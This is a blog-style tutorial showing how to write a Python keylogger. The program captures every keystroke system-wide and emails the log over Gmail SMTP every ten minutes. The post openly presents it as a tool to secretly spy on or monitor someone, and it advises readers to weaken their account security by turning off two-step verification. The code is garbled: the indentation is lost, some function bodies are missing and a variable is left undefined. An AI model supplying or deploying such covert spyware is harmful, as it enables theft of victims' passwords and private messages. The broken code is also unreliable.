Create Your Own Python Keylogger Which Emails About Every Keystroke.

By Rahul Garg

we all see Tons of Websites offering Key-loggers on the internet, We download it and install it to spy or monitor someone. But the problem is, Sometimes these keyloggers are too costly or you might be probably also installed a virus in the process.
In this article, I’ll show you how to write your own python keylogger, which will eventually send all details about keystrokes to your email address. You can also set frequency , in how much time you want to receive email.
Folks who don’t know, keylogger is known for Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys pressed on a keyboard, so that the person using the keyboard is unaware that their actions are being monitored.
Requirements to Design Keylogger
To create your own Python Keylogger, you’ll need following Applications.

• Python

You need to make sure that your computer have python’s latest version installed. You can install latest version from here directly.

• Anaconda (IDE)

An integrated development environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. PyCharm and Anaconda are most widely used IDE This is optional, If you are able to write code in CMD , then no need to install. Anaconda can be installed from here.

• Python Module – Keyboard

To Take full control of keyboard we’ll use this small Python library. It can hook global events, register hotkeys, simulate key presses and much more. Download module from here. Detailed documentation about module is available here.

  1. Install Python Modules for Keylogge
    Follow below steps to Install the downloaded keyboard module.
    • Extract The Downloaded zip file
    • Open Anaconda and Click on CMD
    • Now move to the directory where the file exists and install module. Use following command
    cd downloads\keyboard-master\
    python setup.py install
  2. Setup Email
    In this python Keylogger, we’ll make our script to share details about keystrokes to our email address in every 10 minutes.
    You need to make sure that two step verification is turned off for your email address and you’ve allowed apps from less secure apps.
    To change this navigate your browsers to your Gmail account > Settings
    Or click here – https://myaccount.google.com/lesssecureapps
  3. Design Keylogger
    Open Spyder IDE from Anaconda and type following code.
    import keyboard
    import smtplib
    from threading import Semaphore, Timer

EMAIL_ADDRESS = “r**@gmail.com”
EMAIL_PASSWORD = “1222345335”
Here, You need to enter your email address and password , This keylogger will an email with the pressed keystrokes in every 10 mins.

class Keylogger:
def init(self, interval):
self.interval = interval
self.log = “”
self.semaphore = Semaphore(0)

def callback(self, event):
    This callback is invoked whenever a keyboard event is occured
    (i.e when a key is released in this example)
    name = event.name
    if len(name) > 1:
        # excluding character, special key (e.g ctrl, alt, etc.)
        # uppercase with []
        if name == "space":
            name = " "
        elif name == "enter":
            # whenever  ENTER is pressed, add a new line
            name = "[ENTER]\n"
        elif name == "decimal":
            name = "."
            # replace spaces with underscores
            name = name.replace(" ", "_")
            name = f"[{name.upper()}]"

    self.log += name

def sendmail(self, email, password, message):
    # connection to an SMTP server
    server = smtplib.SMTP(host="smtp.gmail.com", port=587)
    # connect to the SMTP server as TLS mode ( for security )
    # enter credentials to email account
    server.login(email, password)
    # send the actual message
    server.sendmail(email, email, message)
    # terminates the session

def report(self):
    This function gets called every `self.interval`
    It basically sends keylogs and resets `self.log` variable
    if self.log:
        self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
    self.log = ""
    Timer(interval=self.interval, function=self.report).start()

def start(self):
    # start the keylogger

if name == “main“:
keylogger = Keylogger(interval=SEND_REPORT_EVERY)
Once you’ve written above code in Spyder IDE save the file to your computer as keylogger.py

  1. Run Programme
    Run saved python file and it will start capturing all keystrokes in your computer. You can close keylogger from task manager. It will send detailed keystrokes to your email address.
